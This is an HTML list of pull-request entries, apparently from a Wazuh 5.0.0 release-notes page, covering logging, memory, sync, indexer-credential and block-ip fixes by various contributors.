<li>fix: persist engine startup state for CMSync route logging by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jam300/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jam300">@jam300</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4791733554" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37356" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37356/hovercard" href="https://github.com/wazuh/wazuh/pull/37356">#37356</a></li>
<li>Fix invalid MTU value reported for Windows network interfaces by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4803040708" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37394" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37394/hovercard" href="https://github.com/wazuh/wazuh/pull/37394">#37394</a></li>
<li>Restore modern.bpf.o checkfiles baseline reverted by 4.14.7 merge by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807506800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37414" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37414/hovercard" href="https://github.com/wazuh/wazuh/pull/37414">#37414</a></li>
<li>Suppress version-coordination WARNINGs on stop/unavailable module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794436123" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37372" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37372/hovercard" href="https://github.com/wazuh/wazuh/pull/37372">#37372</a></li>
<li>Clarify security policy for pre-release versions and disclosure timeline by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4818245095" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37423" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37423/hovercard" href="https://github.com/wazuh/wazuh/pull/37423">#37423</a></li>
<li>Bump 5.0.0 branch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wazuhci/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wazuhci">@wazuhci</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820838366" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37429" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37429/hovercard" href="https://github.com/wazuh/wazuh/pull/37429">#37429</a></li>
<li>wazuh-manager: Memory and copy-reduction improvements part 1 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4677386441" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/36979" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/36979/hovercard" href="https://github.com/wazuh/wazuh/pull/36979">#36979</a></li>
<li>Improve default cores detection by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4770907500" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37288" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37288/hovercard" href="https://github.com/wazuh/wazuh/pull/37288">#37288</a></li>
<li>Standardize and verify Wazuh configuration documentation  by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806420763" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37411" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37411/hovercard" href="https://github.com/wazuh/wazuh/pull/37411">#37411</a></li>
<li>Handle rootcheck removed tags by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788149250" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37346" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37346/hovercard" href="https://github.com/wazuh/wazuh/pull/37346">#37346</a></li>
<li>Update docs (agent) for the new password in manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4816394475" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37420" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37420/hovercard" href="https://github.com/wazuh/wazuh/pull/37420">#37420</a></li>
<li>Backport the workflow for generating pre-release agent issues to version 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MarcelKemp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MarcelKemp">@MarcelKemp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4827403310" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37490" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37490/hovercard" href="https://github.com/wazuh/wazuh/pull/37490">#37490</a></li>
<li>Upgrade 5.0.0 python dependencies by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793328371" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37361" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37361/hovercard" href="https://github.com/wazuh/wazuh/pull/37361">#37361</a></li>
<li>Change indexer user name and password by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4831885135" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37502" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37502/hovercard" href="https://github.com/wazuh/wazuh/pull/37502">#37502</a></li>
<li>Remove startup deprecation warning from cluster_control and agent_upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835362636" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37509" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37509/hovercard" href="https://github.com/wazuh/wazuh/pull/37509">#37509</a></li>
<li>Change indexer username and password to wazuh-manager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4839278273" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37520" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37520/hovercard" href="https://github.com/wazuh/wazuh/pull/37520">#37520</a></li>
<li>Fix to improve fim_sync db performance. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hernanvalenzuela/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hernanvalenzuela">@hernanvalenzuela</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744034552" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37180" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37180/hovercard" href="https://github.com/wazuh/wazuh/pull/37180">#37180</a></li>
<li>SCA/FIM sync lifecycle: close DBs on graceful shutdown, defer coordination during first sync, and increment SCA check version on change by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jr0me/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jr0me">@jr0me</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790097835" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37353" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37353/hovercard" href="https://github.com/wazuh/wazuh/pull/37353">#37353</a></li>
<li>Fix version comparison in indexer documents updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4830108432" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37498" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37498/hovercard" href="https://github.com/wazuh/wazuh/pull/37498">#37498</a></li>
<li>Propagate sync errors to each module by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jpcerrone/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jpcerrone">@jpcerrone</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752961563" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37212" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37212/hovercard" href="https://github.com/wazuh/wazuh/pull/37212">#37212</a></li>
<li>Cache indexer credentials in clusterd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832215168" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37504" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37504/hovercard" href="https://github.com/wazuh/wazuh/pull/37504">#37504</a></li>
<li>Standardize CHANGELOG format and keep prior versions in the bumper by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4835667651" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37513" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37513/hovercard" href="https://github.com/wazuh/wazuh/pull/37513">#37513</a></li>
<li>Warn on duplicate agent connection only when it persists by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4827846696" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37493" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37493/hovercard" href="https://github.com/wazuh/wazuh/pull/37493">#37493</a></li>
<li>Backport: Lower DBSync-not-available shutdown messages to DEBUG to 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4856788396" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37567" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37567/hovercard" href="https://github.com/wazuh/wazuh/pull/37567">#37567</a></li>
<li>Add retry logic to indexer templates download by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4874928399" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37643" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37643/hovercard" href="https://github.com/wazuh/wazuh/pull/37643">#37643</a></li>
<li>Reduce authd enrollment log severity for expected rejections by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4846590749" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37540" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37540/hovercard" href="https://github.com/wazuh/wazuh/pull/37540">#37540</a></li>
<li>Reduce memory usage when downloading VDP feed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Antoniogm03/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Antoniogm03">@Antoniogm03</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795745800" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37375" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37375/hovercard" href="https://github.com/wazuh/wazuh/pull/37375">#37375</a></li>
<li>Fix server-side version bump for disconnected agent metadata updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TomasTurina/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TomasTurina">@TomasTurina</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4877451955" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37647" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37647/hovercard" href="https://github.com/wazuh/wazuh/pull/37647">#37647</a></li>
<li>Re-enable AWS Inspector integration tests in 5.0.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MAnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MAnDumu">@MAnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876030241" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37645" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37645/hovercard" href="https://github.com/wazuh/wazuh/pull/37645">#37645</a></li>
<li>Fix sca internal limits by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rovogel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rovogel">@rovogel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824570694" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37438" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37438/hovercard" href="https://github.com/wazuh/wazuh/pull/37438">#37438</a></li>
<li>Silence untrustworthy FIM schema-validation errors during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886428969" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37688" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37688/hovercard" href="https://github.com/wazuh/wazuh/pull/37688">#37688</a></li>
<li>Fix spurious ERROR/WARNING logs during agent shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4883034413" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37673" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37673/hovercard" href="https://github.com/wazuh/wazuh/pull/37673">#37673</a></li>
<li>Fix daemon stats for analysisd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840468288" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37525" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37525/hovercard" href="https://github.com/wazuh/wazuh/pull/37525">#37525</a></li>
<li>Resolve logging macro collisions and improve LogFn design (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790797410" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37354" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37354/hovercard" href="https://github.com/wazuh/wazuh/issues/37354">#37354</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4802669894" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37393" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37393/hovercard" href="https://github.com/wazuh/wazuh/pull/37393">#37393</a></li>
<li>Enable authd in manager source-install integration test step by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890660615" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37693" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37693/hovercard" href="https://github.com/wazuh/wazuh/pull/37693">#37693</a></li>
<li>Stop <code>verify-agent-conf</code> from falsely warning on agent-only wodle blocks, without breaking their validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884638391" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37680" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37680/hovercard" href="https://github.com/wazuh/wazuh/pull/37680">#37680</a></li>
<li>Fixing CIS 6.1.9 rule impossible permission check for /etc/group- by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hossam1522/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hossam1522">@hossam1522</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252101380" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35405" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35405/hovercard" href="https://github.com/wazuh/wazuh/pull/35405">#35405</a></li>
<li>Lower connection socket error log to debug level in wazuh-agentd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MAnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MAnDumu">@MAnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4885894234" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37685" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37685/hovercard" href="https://github.com/wazuh/wazuh/pull/37685">#37685</a></li>
<li>Memory improvements part 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4822579091" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37433" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37433/hovercard" href="https://github.com/wazuh/wazuh/pull/37433">#37433</a></li>
<li>Fix make clean-deps failing when src/external is missing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901090899" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37724" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37724/hovercard" href="https://github.com/wazuh/wazuh/pull/37724">#37724</a></li>
<li>fix date schema validation error in scheduled metrics by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4892142502" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37703" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37703/hovercard" href="https://github.com/wazuh/wazuh/pull/37703">#37703</a></li>
<li>Report failure when block-ip fails to block an IP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824776124" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37439" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37439/hovercard" href="https://github.com/wazuh/wazuh/pull/37439">#37439</a></li>
<li>Fix rename race on logcollector file status during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4891170282" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37695" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37695/hovercard" href="https://github.com/wazuh/wazuh/pull/37695">#37695</a></li>
<li>Calibrate log levels in router and vulnerability_scanner by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902123164" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37731" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37731/hovercard" href="https://github.com/wazuh/wazuh/pull/37731">#37731</a></li>
<li>Adds AR Windows binary extension fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828497169" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37496" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37496/hovercard" href="https://github.com/wazuh/wazuh/pull/37496">#37496</a></li>
<li>Lower httpsrv C++ standard from 20 to 17 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912257627" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37751" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37751/hovercard" href="https://github.com/wazuh/wazuh/pull/37751">#37751</a></li>
<li>Add new indexer API roles mapping by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910791091" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37746" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37746/hovercard" href="https://github.com/wazuh/wazuh/pull/37746">#37746</a></li>
<li>Fix Windows block-ip firewall-enabled check misfire and ineffective route fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4821040019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37430" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37430/hovercard" href="https://github.com/wazuh/wazuh/pull/37430">#37430</a></li>
<li>Free rpm macro context to stop unbounded growth by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916015744" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37758" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37758/hovercard" href="https://github.com/wazuh/wazuh/pull/37758">#37758</a></li>
<li>Report modulesSync failure as debug during agent shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886452693" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37689" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37689/hovercard" href="https://github.com/wazuh/wazuh/pull/37689">#37689</a></li>
<li>Report manager-not-ready sync failures as deferred by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894783919" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37720" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37720/hovercard" href="https://github.com/wazuh/wazuh/pull/37720">#37720</a></li>
<li>wazuh-engine: Indexer connector exponential backoff by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914391566" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37756" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37756/hovercard" href="https://github.com/wazuh/wazuh/pull/37756">#37756</a></li>
